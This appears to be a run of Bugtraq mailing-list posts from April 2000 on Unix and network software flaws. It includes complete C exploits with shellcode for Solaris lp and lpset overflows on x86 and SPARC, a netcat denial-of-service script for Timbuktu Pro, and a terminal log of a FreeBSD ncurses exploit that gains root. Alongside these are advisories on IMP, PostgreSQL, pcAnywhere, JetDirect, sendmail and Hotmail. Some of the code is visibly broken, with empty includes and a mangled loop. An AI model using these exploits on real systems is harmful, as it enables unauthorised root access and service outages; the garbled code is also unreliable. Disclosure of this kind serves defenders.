Re: Solaris 7 x86 lp exploit
Hi,
I got this exploit working on multiple Solaris (2.5.1, 2.6 & 7), Sparc version.
It is similar, but based on lpset command instead of lp, but root privileges gained in
a second.
Will mail it soon.
Laurent LEVIER
IT Systems & Networks, Unix System Engineer
Security Specialist
Argosnet Security Server : http://www.Argosnet.com
"Le Veilleur Technologique", "The Technology Watcher"
At 15:17 24/04/00 +, Theodor Ragnar Gislason wrote:
>Setuid proggie /usr/bin/lp has an easily exploitable buffer overflow.
>This exploit is for Solaris 7 x86 version, no sparc exploit is available
>to my knowledge.
>
>later,
>
>DiGiT
>
>/*
> *
> * solaris 2.7 /usr/bin/lp local exploit, i386.
> *
> * discovered by DiGiT.
> * try offset 150-250 if sploit fails
> *
> * greets: #!ADM, #!security.is, #hax, duke
> *
> * DiGiT - [EMAIL PROTECTED]
> *
> */
>
>#include
>#include
>
>
>char shellcode[] =
> "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
> "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
> "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
> "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
> "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
> "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
>
>#define BUFSIZE 1100
>
>long get_esp() { __asm__("movl %esp,%eax"); }
>
>int main(int argc, char *argv[]) {
>
> char buff[BUFSIZE];
> int nopcount=501, offset=260;
> int i;
>
> if (argc > 1) offset = atoi(argv[1]);
> if (argc > 2) nopcount = atoi(argv[2]);
>
> memset (buff, 0x90, BUFSIZE);
>
> for (i = nopcount; i < BUFSIZE - 4; i += 4)
> *(long *) &buff[i] = get_esp() + offset;
> memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen
> (shellcode));
>
> memcpy (buff, ":", 1);
> printf("Addr = 0x%x\n", get_esp() + offset);
> execl("/usr/bin/lp", "lp", "-d", buff, "-p", "/tmp/ps_data",NULL);
Two Problems in IMP 2
Crimelabs, Inc. www.crimelabs.com Security Advisory Crimelabs Security Advisory CLABS23 Title: IMP/MSWordView /tmp Problems Date: 22 April, 2000 Application: IMP with MSWordView Platform: Any supported by IMP, MSWordView Severity: Moderate -- anyone can view Word document attachments processed by IMP/MSWordView,users can fill up the disk and DoS the IMP server Author: Jose Nazario ([EMAIL PROTECTED]) Vendor Status: Contacted, fix available for permissions problem, DoS workaround supplied by Crimelabs Web: (real soon now, we promise) Description: IMP is a PHP3 driven webmail solution providing full featured access to email. MSWordView is an application that translates MicroSoft Word documents into HTML. Used in conjunction users can view their Word document attachments online without having to download them. Two problems have been found in this setup, though, that warrant attention. The first problem is the permissions left on the temporary file used by MSWordView to format the document in HTML. They are left world readable, possibly exposing private information to the world: /tmp: -rw-r--r-- 1 nobody nogroup 13722 Mar 8 17:28 imp.word.2000-Mar-Wed_17:27:47__a986f65efecd5fd49e75b3d7f8312721.html The second is a failure if the IMP process to clean up properly if the MSWordView process does not exit correctly. It leaves files on the server which will fill up the /tmp filesystem. Should enough accumulate, a denial of service is possible due to a lack of disk space. This improper exit can occur should the user stop the attachment viewing before completion or if there is a problem in the setup. Exploiting this is simply a matter of sending one's self several large Word documents as attachments, starting to load them in IMP to view them online and stopping the loading. Disk space will deplete and the server will cease operations soon enough. The first problem has been fixed in the 2.2 beta versions of IMP. As of version -pre11, released on 10 April, 2000, the umask is set correctly as 077 and the files are no longer accessible by the rest of the community. IMP administrators who are leary of using beta software may wish to simply work around this problem in IMP 2.0.11. In the file imp/lib/mimetypes.lib there is the function that is used by MSWordView which creates the temporary file. Simple create a directory that is 700 for nobody.nogroup (or whoever runs the web daemon process) and use that directory, rather than /tmp, for temporary storage. Note that shell access is required to exploit this information leak. Still, quite a number of servers exist in the world which mix shell and webmail access, for which this would be a problem. The second problem at this time has no fix, though a simple cron job that removes temporary IMP files that are more than 30 minutes should work or monitors IMP's temporary storage space and reacts similarily. This time should be adjusted depending on the number of users on the server and the size of the temporary space. An account is required to abuse this problem. I would like to acknowledge Chuck Hagenbuch of the IMP development team and thank him for a quick response. IMP's a neat tool, and provides an excellent webmail solution, which is why it's become so popular. References: IMP: http://www.horde.org/imp/ MSWordView: http://www.wvWare.com/ A really good discussion by Mudge of the L0pht/@Stake on /tmp use: http://www.l0pht.com/advisories/watch.txt
Timbuktu Pro 2.0b650
#!/bin/sh ## # eth0 is a member of b0f/buffer0verfl0w security # # http://b0f.freebsd.lublin.pl # # # *Needs netcat in order to work..* # Immune systems: # Timbuktu Pro 2000 # # Vulnerable systems: # Timbuktu Pro 2.0b650 (Also incorrectly known as Timbukto) # # Exploit: # - Connect and disconnect to port TCP/407 and port TCP/1417 will start # listening. # - Connect on port TCP/1417 (using a simple telnet client). # - Disconnect from TCP/1417 (with no data exchange). # # Workaround: # - Kill Timbuktu process (using pslist/pskill for example). # - Stop Timbuktu services. # - Start them again. echo "Exploit:" echo " - Connect and disconnect to port TCP/407 and port TCP/1417 will start listening." echo " - Connect on port TCP/1417 (using a simple telnet client)." echo " - Disconnect from TCP/1417 (with no data exchange)." echo "Coded: eth0 from buffer0vefl0w security (b0f)" echo "[http://b0f.freebsd.lublin.pl]" echo "Checking if host is actually listening on port 407" telnet $1 407 1>.timb.tmp 2>.timb.tmp & echo "Sleeping 5 seconds..." sleep 5 killall -9 telnet 1>/dev/null 2>/dev/null cat .timb.tmp | grep "Connected" >/dev/null 2>&1 if [ $? -eq 0 ]; then timb="1" echo "[$1] is listening on port 407..." echo "Exploiting:..." nc $1 1417 1>/dev/null 2>/dev/null sleep 3 killall -9 nc 1>/dev/null 2>/dev/null echo "Done!!" fi if [ "$timb" != "1" ]; then echo "[$1] Is not listening on port 407 = doesn't exist..." fi # http://b0f.freebsd.lublin.pl #
Re: Solaris 7 x86 lpset exploit.
This is a different exploit than the once that are found on technotronic,
this one deals with a diff overflow, mine is a small 32 byte overflow
which was not fixed in patches, or so I've heard.
Later,
Theodor R. Gislason
On Tue, 25 Apr 2000, Laurent LEVIER wrote:
> Cheers,
>
> Also available on multiple sites (technotronic, Argosnet, rootshell, ...) since a
>very long time.
>
> As said previously, will mail the Sparc version
>
> Laurent LEVIER
> IT Systems & Networks, Unix System Engineer
> Security Specialist
>
> Argosnet Security Server : http://www.Argosnet.com
> "Le Veilleur Technologique", "The Technology Watcher"
>
>
> At 15:24 24/04/00 +, Theodor Ragnar Gislason wrote:
> >Solaris 7 x86 /usr/bin/lpset overflow, there is a small overflow(32 bytes)
> >in lpset which will yield root access if properly exploited.
> >
> >There is a sparc version avail for this bug, the bug was discovered by
> >duke some time ago.
> >
> >I am releasing this exploit because of a copy-cat exploit on hack.co.za.
> >
> >For this exploit we use ,RET,NOP,CODE.
> >
> >/*
> > *
> > * solaris 2.7 lpset local exploit, i386.
> > * discovered by: duke
> > * not the same as on bt.
> > * if exploit dosen´t work try offset from 300-450
> > *
> > * greets: duke, #!ADM, #!security.is, #hax
> > *
> > * DiGiT - [EMAIL PROTECTED]
> > *
> >*/
> >
> >
> >#include
> >#include
> >#include
> >#include
> >
> >char shellcode[] =
> > "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
> > "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
> > "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
> > "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
> > "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
> > "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
> >
> >long get_esp() { __asm__("movl %esp,%eax"); }
> >
> >int main (int argc, char *argv[]) {
> >
> > long offset=410;
> > int nop=64;
> > int gab=40;
> > long addr;
> > char buffer[210];
> > int i, a, b;
> >
> >if (argc > 1) offset = strtol(argv[1], NULL, 0);
> >if (argc > 2) gab = strtol(argv[2], NULL, 0);
> >if (argc > 3) nop = strtol(argv[2], NULL, 0);
> >
> >for (a = 0; a > buffer[a] = 'A';
> >
> > addr = get_esp() + offset;
> >
> > buffer[a++] = addr & 0x00ff;
> > buffer[a++] = (addr & 0xff00) >> 8;
> > buffer[a++] = (addr & 0x00ff) >> 16;
> > buffer[a++] = (addr & 0xff00) >> 24;
> >
> > for ( ; a < nop; a++)
> > buffer[a] = 0x90;
> >
> > for (b = 0; b < strlen(shellcode); b++, a++)
> > buffer[a] = shellcode[b];
> >
> > buffer[strlen(buffer)] = '\0';
> >
> > printf("addr = 0x%x\n", addr);
> > execl("/usr/bin/lpset", "lpset", "-n", "fns", "-r", buffer,"digit", NULL);
> >
> >}
>
>
Re: More vulnerabilities in FP
That's hardly overflow in FP, VHTTPD32 does not seem to be part of WindowsNT and more hardly of Frontpage (could be some old version of course), what operating system are you using? This seems to be overflow in HTTP (Web Server, PWS or IIS) and for WIndowsNT it was handled long time ago in some postfix and service packs. It would be good idea to include complete information about the system you are testing, otherwise it is useless. Daniel > -Original Message- > From: Roman [mailto:[EMAIL PROTECTED]] > Sent: Saturday, April 22, 2000 10:16 PM > To: [EMAIL PROTECTED] > Subject: Re: More vulnerabilities in FP > > > Hello, > > > First remote FrontPage exploit? > > How about this one: > http://server/AA > > FP will overflow and someone will see this message: > > VHTTPD32 caused an invalid page fault in > module at :41414141. > Registers: > EAX= CS=0167 EIP=41414141 EFLGS=00010212 > EBX= SS=016f ESP=00fe53cc EBP=41414141 > ECX=00fe52c4 DS=016f ESI=00fe7744 FS=3647 > EDX=bffc9490 ES=016f EDI=bff94645 GS= > Bytes at CS:EIP: > > Stack dump: > 41414141 41414141 66204141 656c6961 6f662064 32312072 > 2e302e37 2c312e30 61657220 3a6e6f73 6c696620 6f642065 > 6e207365 6520746f 74736978 > > Tested on FP 3.0.2.926. Maybe others? >
Solaris Sparc 2.6 & 7 lp/lpset/lpstat root compromise exploit
Cheers,
As promised, here is the sparc version code for these exploits.
Works fine with lpset, did not try on lp.
Trusted me, it works fine..
Just change shellcode to :
char sparc_shellcode[] =
"\x82\x10\x20\x17\x90\x20\x60\x17\x92\x22\x40\x09\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
and get_esp to:
u_long get_esp() { asm("mov %sp, %i0"); }
This should be enough to have the sparc version
But, else complete Sparc version (lpset variant):
#include
#include
#define BSIZE 18001
#define OFFSET 20112
#define START 700
#define END 1200
#define NOP 0xac15a16e
#define EXSTART 116
char sparc_shellcode[] =
/* setreuid(0,0) */
"\x82\x10\x20\x17\x90\x20\x60\x17\x92\x22\x40\x09\x91\xd0\x20\x08"
/* other stuff */
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
u_long get_sp() { asm("mov %sp, %i0"); }
main(int argc, char *argv[]) {
int i,ofs=OFFSET,start=START,end=END;
u_long ret, *ulp;
char *buf;
if (argc > 1) ofs=atoi(argv[1])+8;
if (!(buf = (char *) malloc(BSIZE+2))) {
fprintf(stderr, "out of memory\n");
exit(1);
}
ret = get_sp() - ofs;
for (ulp = (u_long *)buf,i=0; ulp < (u_long *)&buf[BSIZE]; i+=4,ulp++)
*ulp = NOP;
for (i = start, ulp=(u_long *)&buf[start]; i < end; i+=4) *ulp++ = ret;
for (i = 0; i < strlen(sparc_shellcode); i++)
buf[EXSTART+i] = sparc_shellcode[i];
buf[5000]='=';
buf[18000]=0;
fprintf(stderr, "ret: 0x%lx xlen: %d ofs: 0x%lx (%d)\n",
ret, strlen(buf)-2, ofs, ofs);
execl("/usr/bin/lpset","lpset","-n","xfn","-a",&buf[2],"lpcol1",0);
perror("execl");
}
Laurent LEVIER
IT Systems & Networks, Unix System Engineer
Security Specialist
Argosnet Security Server : http://www.Argosnet.com
"Le Veilleur Technologique", "The Technology Watcher"
Re: mtr-0.41 root exploit
[Elias, please approve either this one or the previous message that I sent, but not both. Of course, preferably this one, and not the other. Thanks. ] Hi Everyone, FYI, mtr-0.42 was released on march 4th, which fixes the mtr-oversight that allows this exploit to work. The actual bug (overflow) is in the Freebsd libncurses implementation. Back then we were confident that an exploit COULD be written, but decided not to wait until one would be written. Point proven. I would've appreciated the lesser "scare" when an accompanying note would've said that the bug was already fixed. Roger. -- ** [EMAIL PROTECTED] ** http://www.BitWizard.nl/ ** +31-15-2137555 ** *-- BitWizard writes Linux device drivers for any device you may have! --* * Common sense is the collection of* ** prejudices acquired by age eighteen. -- Albert Einstein
Re: Buffer Overflow in version .14
Jesse Schachter <[EMAIL PROTECTED]> wrote: > IC Radius version .14, and possibly earlier versions, contain a buffer > overflow that occurs when trying to authenticate with a valid username > longer than 24 characters. There is a similar set of bugs in the Livingston v1.16 server, and most of it's descendents. It doesn't affect the user requests or packets, but instead the configuration files. (So it is not remotely exploitable.) Any user who has write permission to the configuration files can trivially engineer a buffer overflow, to obtain the full privelidges of the UID which the RADIUS server is running under, usually root. However, in a WELL CONFIGURED system, the user running the RADIUS server should be the only one who has write permission to the configuration files. So the only systems which are vulnerable are ones which are misconfigured to start with. The problem still exists, however, and any potential security hole should be closed. An edited sample of the problem code follows: ... charsecret[20]; charhostnm[128]; charbuffer[256]; ... fgets(buffer, sizeof(buffer), clientfd); ... sscanf(buffer, "%s%s", hostnm, secret) ... The exploit can theoretically be used in almost any configuration file which is read by the server, as there is little or no bounds checking when reading from the files. The Livingston v2.1 server is vulnerable, as is the derived Cistron RADIUS server, up to v1.6.0. Cistron RADIUS v1.6.1 and later are not vulnerable. It is believed that all RADIUS servers which are trivially derived from the Livingston 1.16 source are vulnerable. It is believed that most commercial RADIUS servers are not vulnerable to this bug, as their source did not originate with the Livingston 1.16 server. There is no *known* exploit, however, and the vendors have not been notified, due to the fact that the vulnerability only exists in systems which have been misconfigured by the administrator. Alan DeKok.
Re: Postgresql cleartext password storage
On Sun, 23 Apr 2000, Robert van der Meulen wrote: > Hi, > Hello, had you looked at pg_pwd, you would have seen the usarnames and passwords in cleartext, in an all-text file. > > This means postgresql stores usernames and passwords, cleartext, in > pg_shadow. > pg_shadow (and the other administrative tables) are owned by user postgres, > and only readable by user postgres, although modifying them trough the pgsql > monitor is usually protected by a password. > > The passwords being cleartext, and readable by user postgres (and root, > ofcourse), allows bypassing the password mechanism, and gives access to all > databases. (compromising user 'postgres' or reading the pg_shadow file gives > access to the usernames/passwords) Compromising user postgres would give you the opportunity to stop the postmaster daemon and start it with a "trust" option for local/remote connections, allowing you to connect as any user, no questions asked. > > Ofcourse this came in handy for me, but i think it's not the way it should > be :) > I tested this on postgres versions 6.3.2 and 6.5.3 , others probably > experience this problem as well. > > This message is mailed to bugtraq, and Cc'd to the postgresql developers. > > Greets, > Robert van der Meulen/Emphyrio Basically, this a known issue. On Debian GNU/Linux potato, updates including yesterday, in file /usr/share/doc/postgresql-doc/README.passwords you can find: - Passwords are stored in pg_shadow in clear, but if `crypt' authentication is specified, the frontend encrypts the password with a random salt and the backend uses the same salt to encrypt the password in the database. If the two encrypted passwords match, the user is allowed access. If the authentication method is `password', the password is transmitted and compared in clear. - and a little lower: - 2. In general, passwords are insecure, because they are held in clear in pg_shadow. Anyone with create-user privilege can not only alter but also read them. They ought to be stored with one-way encryption, as with the Unix password system. - So this is well known and documented. Anyway, you don't have normal users on the database server, now do you? +-- Alex Popa, |There never was a good war or a bad peace [EMAIL PROTECTED]| -- B. Franklin +-- "It took the computing power of three C-64s to fly to the Moon. It takes a 486 to run Windows 95. Something is wrong here."
Re: ZoneAlarm
>Additionally, using nmap's -f flag allows you to send traffic past >ZoneAlarm without any alerts. I set up a copy on a local machine here and while I found that source port scans from 67 slipped past the firewall -f seemed to be alerted on just fine. Can anyone else comment to this? Alfred Huger VP of Engineering SecurityFocus.com
Denial of Service Against pcAnywhere.
While performing a routine network audit, a TCP SYN scan caused every pcAnywhere Host service on the network to stop responding. The following versions were tested, other versions may be vulnerable as well. 9.0.0 Build 133 9.2.0 Build 239 8.0.2 Build 220 Target Operating systems tested: Windows NT Server Service Pack 6a -- Running 9.0.0 and 9.2.0 Versions Windows NT Worksation Service Pack 5 Running 9.2.0 Version Windows NT Server Service Pack 4 -- Running 8.0.2 Version Using nmap version 2.30BETA21 (http://www.insecure.org/nmap) Information gathering (Does not cause the crash) nmap -sT -sU Servers running pcAnywhere version 8.x show ports TCP 5631 and TCP 65301 open UDP 5632 and UDP 22open Servers running pcAnywhere version 9.x show ports TCP 5631 and UDP 5632 open nmap -sS will cause the pcAnywhere Host Service to stop responding until the service is stopped and restarted. If anyone else could confirm or deny this it would be appreciated. -vacuum http://www.technotronic.com
Re: DOS attack against HP JetDirect Printers
This may be related to a previously-known issue regarding multiple connections. Try a 'nmap -sT -PT -M 1' and see what happens. The scan should be the same as previous but limit concurrent connections to one. According to the nmap docs I've got the default is 50. >From an ISS advisory (Dec 10, 1998) http://www.securityfocus.com/advisories/526 Syn "Dripping": Even though the JetDirect cards are not subject to syn flooding per se, due to the single threaded TCP/IP stack, even a single SYN packet can lock up the older interface for a significant period of time (tens of seconds to as much as a minute). Thus the printer can be subjected to a denial of service attack by slowly dripping SYN packets with non- responding "from" addresses directed to the older JetDirect interface. If this is directed at more than one of the JetDirect ports, the interface may lock up, as in the repeated rapid port scanning DoS described below. This problem was uncovered at Internet Security Systems during the analysis of other JetDirect problems. Newer multi-threaded versions of the JetDirect interfaces are not vulnerable to this problem. Repeated rapid port scanning: Some scanning tools use parallel port scanning to improve scanning speed. Parallel scanning of multiple ports on the older JetDirect cards has a high probability of causing a complete lockup of the JetDirect network interface. The fact that the DoS is not deterministic, and the failure rate is highly dependent on the timing and speed of the scan, indicates that this is a timing window or race condition in the TCP/IP stack on the older JetDirect. Ben Greenbaum Director of Site Content Security Focus http://www.securityfocus.com
Re: freebsd libncurses overflow
This has been discovered before (or at least a similar vulnerability) by w00w00, but there wasn't anything useful (as far as elevating privileges go) that was using it at the time. So, unless you can name any suid/sgid programs using it that will allow the elevation of privileges for something meaningful, I think the severity is low. Matt
Re: mtr-0.41 root exploit
On Mon, 24 Apr 2000, Przemyslaw Frasunek wrote: > /* (c) 2000 babcia padlina / buffer0verfl0w security (www.b0f.com) */ > /* freebsd mtr-0.41 local root exploit */ Oh, please. This was fixed on revision 1.21 date: 2000/03/07 23:49:01; author: billf; state: Exp; lines: +10 -10 SECURITY UPGRADE: 0.42 addresses the setuid dropping issues addressed on BugTraq by Viktor Fougstedt. after being reported here shortly beforehand. I even released a security advisory for it. Kris In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe <[EMAIL PROTECTED]>
Re: freebsd libncurses overflow
> Furthermore, it is not actually a vulnerability. It seems that setuid
> programs will not accept an alternate termcap file via TERMCAP even under
> the old version of ncurses in FreeBSD 3.x. Therefore this "exploit" can
> only be used on your own binaries.
Sure?
lubi:venglin:~> uname -a
FreeBSD lubi.freebsd.lublin.pl 3.4-STABLE FreeBSD 3.4-STABLE #1: Wed Mar 1
11:18:54 CET 2000
[EMAIL PROTECTED]:/mnt/elite/usr/src/sys/compile/GADACZKA i386
lubi:venglin:~> cat dupa.c
main() { initscr(); }
lubi:venglin:~> cc -o d dupa.c -lncurses
lubi:venglin:~> su
s/key 76 ve15188
Password:
lubi:venglin:/home/venglin# chmod 4755 d ; chown root.wheel d
lubi:venglin:/home/venglin# exit
lubi:venglin:~> ./d
lubi:venglin:~> setenv TERMCAP `perl -e 'print "A"x5000'`
lubi:venglin:~> ./d
Segmentation fault
lubi:venglin:~> ./dupaexp 4000
ret: 0xbfbfba8c
# id
uid=0(root) gid=1001(users) groups=1001(users), 0(wheel)
Obviously, *most* binaries are dropping root privileges before using any ncurses
functions.
--
* Fido: 2:480/124 ** WWW: http://www.freebsd.lublin.pl ** NIC-HDL: PMF9-RIPE *
* Inet: [EMAIL PROTECTED] ** PGP: D48684904685DF43 EA93AFA13BE170BF *
Re: unsafe fgets() in sendmail's mail.local
On Mon, Apr 24, 2000, 3APA3A wrote:
> Topic:
> unsafe fgets() in sendmail's mail.local
> 1. Possibility to insert LMTP commands into e-mail message
> 2. Possibility of deadlock between sendmail and mail.local
> 3. Possibility to corrupt user's mailbox
> 4. Possibility to change e-mail headers of the message in user's
> mailbox
> Vulnerable software:
> Problems 1 and 2: sendmail before 8.10.0 (8.9.3 tested), all
> platforms
> Problems 3 and 4: sendmail 8.10.0 and 8.10.1 (8.10.1 tested)
> under Solaris only
Thanks for the notification and your help to create a patch.
The attached patch will be in the next release of sendmail.
PS: Content-Length: shouldn't be used anyway :-)
Index: mail.local.c
===
RCS file: /cvs/mail.local/mail.local.c,v
retrieving revision 8.145
retrieving revision 8.146
diff -u -r8.145 -r8.146
--- mail.local.c2000/04/25 15:27:08 8.145
+++ mail.local.c2000/04/25 15:48:32 8.146
@@ -746,7 +746,8 @@
FILE *fp = NULL;
time_t tval;
bool eline;
- bool fullline = TRUE;
+ bool fullline = TRUE; /* current line is terminated */
+ bool prevfl;/* previous line was terminated */
char line[2048];
int fd;
char tmpbuf[sizeof _PATH_LOCTMP + 1];
@@ -783,16 +784,19 @@
#endif /* CONTENTLENGTH */
line[0] = '\0';
- for (eline = TRUE; fgets(line, sizeof(line), stdin); )
+ eline = TRUE;
+ while (fgets(line, sizeof(line), stdin) != (char *)NULL)
{
size_t line_len = 0;
int peek;
+
+ prevfl = fullline; /* preserve state of previous line */
while (line[line_len] != '\n' && line_len < sizeof(line) - 2)
line_len++;
line_len++;
/* Check for dot-stuffing */
- if (fullline && lmtprcpts && line[0] == '.')
+ if (prevfl && lmtprcpts && line[0] == '.')
{
if (line[1] == '\n' ||
(line[1] == '\r' && line[2] == '\n'))
@@ -801,7 +805,7 @@
line_len--;
}
- /* Check to see if we have the full line from the fgets() */
+ /* Check to see if we have the full line from fgets() */
fullline = FALSE;
if (line_len > 0)
{
@@ -809,12 +813,11 @@
{
if (line_len >= 2 &&
line[line_len - 2] == '\r')
- {
- (void) strlcpy(line + line_len - 2,
- "\n", sizeof line -
-line_len + 2);
+ {
+ line[line_len - 2] = '\n';
+ line[line_len - 1] = '\0';
line_len--;
- }
+ }
fullline = TRUE;
}
else if (line[line_len - 1] == '\r')
@@ -834,7 +837,7 @@
fullline = TRUE;
#ifdef CONTENTLENGTH
- if (line[0] == '\n' && HeaderLength == 0)
+ if (prevfl && line[0] == '\n' && HeaderLength == 0)
{
eline = FALSE;
HeaderLength = ftell(fp);
@@ -849,7 +852,7 @@
}
}
#else /* CONTENTLENGTH */
- if (line[0] == '\n')
+ if (prevfl && line[0] == '\n')
eline = TRUE;
#endif /* CONTENTLENGTH */
else
@@ -860,10 +863,17 @@
eline = FALSE;
#ifdef CONTENTLENGTH
/* discard existing "Content-Length:" headers */
- if (HeaderLength == 0 &&
+ if (prevfl && HeaderLength == 0 &&
(line[0] == 'C' || line[0] == 'c') &&
strncasecmp(line, ContentHdr, 15) == 0)
- continue;
+ {
+ /*
+ ** be paranoid: clear the line
+ ** so no "wrong matches" may occur later
+ */
+ line[0] = '\0';
+ continue;
+ }
#endif /* CONTENTLENGTH */
}
Re: Hotmail security hole - injecting JavaScript in IE using "@im port url(http://host/hostile.css)"
-BEGIN PGP SIGNED MESSAGE- Hi All - Wanted to advise that we've already corrected our servers to eliminate this vulnerability as of 4:00 PM PST today. Regards, [EMAIL PROTECTED] - -Original Message- From: Georgi Guninski [mailto:[EMAIL PROTECTED]] Sent: Monday, April 24, 2000 6:09 AM To: [EMAIL PROTECTED] Subject: Hotmail security hole - injecting JavaScript in IE using "@import url(http://host/hostile.css)" Georgi Guninski security advisory #11, 2000 Hotmail security hole - injecting JavaScript in IE using "@import url(http://host/hostile.css)" Disclaimer: The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program. Georgi Guninski, bears NO responsibility for content or misuse of this program or any derivatives thereof. Description: Hotmail allows executing JavaScript code in email messages using "@import url(http://host/hostile.css)", which may compromise user's Hotmail mailbox when viewed with Internet Explorer. Details: Several months ago in my Advisory #3, 2000 I alerted about a Hotmail bug with "@import url(javascript:...)". It was fixed, but now I found a similar bug. There is a new security flaw in Hotmail which allows injecting and executing JavaScript code in an email message using the the tag, @import and the "javascript:" protocol. This exploit works on Internet Explorer. Hotmail tries to filter JavaScript code for security reasons. Executing JavaScript when the user opens Hotmail email message allows for example displaying a fake login screen where the user enters his password which is then stolen. I don't want to make a scary demonstration, but it is also possible to read user's messages, to send messages from user's name and doing other mischief. It is also possible to get the cookie from Hotmail, which is dangerous. Hotmail deliberately escapes all JavaScript (it can escape) to prevent such attacks, but obviously there are holes. The following JavaScript is executed if embedded in a HTML message: - ---